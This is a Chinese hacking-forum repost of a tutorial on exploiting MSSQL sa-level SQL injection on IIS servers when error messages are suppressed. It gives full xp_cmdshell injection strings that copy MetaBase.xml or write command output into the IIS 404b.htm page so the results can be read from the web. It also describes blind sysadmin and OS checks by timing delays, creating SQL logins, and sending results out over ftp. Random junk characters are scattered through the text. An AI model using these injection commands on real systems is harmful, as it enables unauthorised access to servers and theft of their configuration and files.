找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2005|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
9 M8 T# ]# [+ E- a1 |7 w4 R+ Y5 o$ A, U; H6 ?- Y0 b' B
  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
& w3 I; s1 u; F/ u% V% B' `- ]0 E8 b( `
  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。; s6 N, k- V& p) @
/ f0 `% A3 Y3 j" S! f' d
  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm+ L0 X! Q" B3 A, i6 J$ r

9 d1 [  R  }- s& |  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
1 X1 H9 W! B) \1 v
+ a! d4 U; T+ c  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。' J" T: [0 t% P
& `% s# [8 x4 c
  执行命令得到回显9 L# _% p0 y; D- K" q& u5 _

' g" h, _0 g5 Y& \8 H  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
0 V7 g" @3 B1 b* N9 z+ Q5 O0 f, o' x6 U& c: ~8 U  \
  得到文件也shi相同,把文件copy到404b.htm就行了: _5 I1 }3 s2 d8 O5 |% y, p

  s$ U" Z6 ?; W. E  by 28ice, 2008/6/26+ |7 N( O' T. H
& ~# i% I$ d# Z7 |7 C
  摘自 28度的冰# q3 A, L/ y: i$ k
' X7 L/ H! {% u8 f! n
  盲注判断权限和操作系统版本
9 X& R$ m: s9 A
- V7 l- l, B" x9 N# d: ?  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?! @: B; g! M8 C9 g4 p

  F6 J! x  K$ o/ Z" I+ n& I  最简单的,可能以用这样的方法:2 x2 c. b5 i& M$ H  j' J, |
  H; {& p. a* S* ]
  1=(select IS_SRVROLEMEMBER(’sysadmin’))
* Y( w/ A3 k: |( l* j% j. `# n2 _7 ?6 t
  当然,有些情况下,这个方法并不奏效。
* ^3 ^& i  k4 e3 x: F$ L- q! [1 B" R
  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
( h# V2 `6 [7 e" m! _/ ~4 P, L' p% x1 i; X+ V7 ^
  有个3办法可能以解决这个问题
' y$ Q5 [. L5 `+ I: b5 P
  G8 t( d7 h) I' [$ c  a.把执行结果写到404b.htm,具体请看我的上一篇文章
' }$ M7 O6 t& B$ P* [/ }
6 P7 K7 \. R# b- F  g  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟/ O4 \: T5 j3 T0 W' r$ t/ _+ P1 w) U0 e
& F  R8 b5 l7 R" y5 M
  c.如果1433端口可能以连接,那干脆新建个sql登录
" v' q5 C/ p+ S9 [4 v0 q2 E
0 H& j# Y; o) h; f  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数; c5 \3 r) g% Q
4 [, O+ D" f& J
  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下- R! _9 g; r  X5 R$ R
* L4 d0 h  k: l8 a
  很简单
3 O: X  F$ A, v; P. u& H8 j  P: v9 B; Q% t& |/ L4 u! B; W
  执行systeminfo
" \5 |. V& t2 E
0 l' E" v) a3 f5 U8 [$ v+ t  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表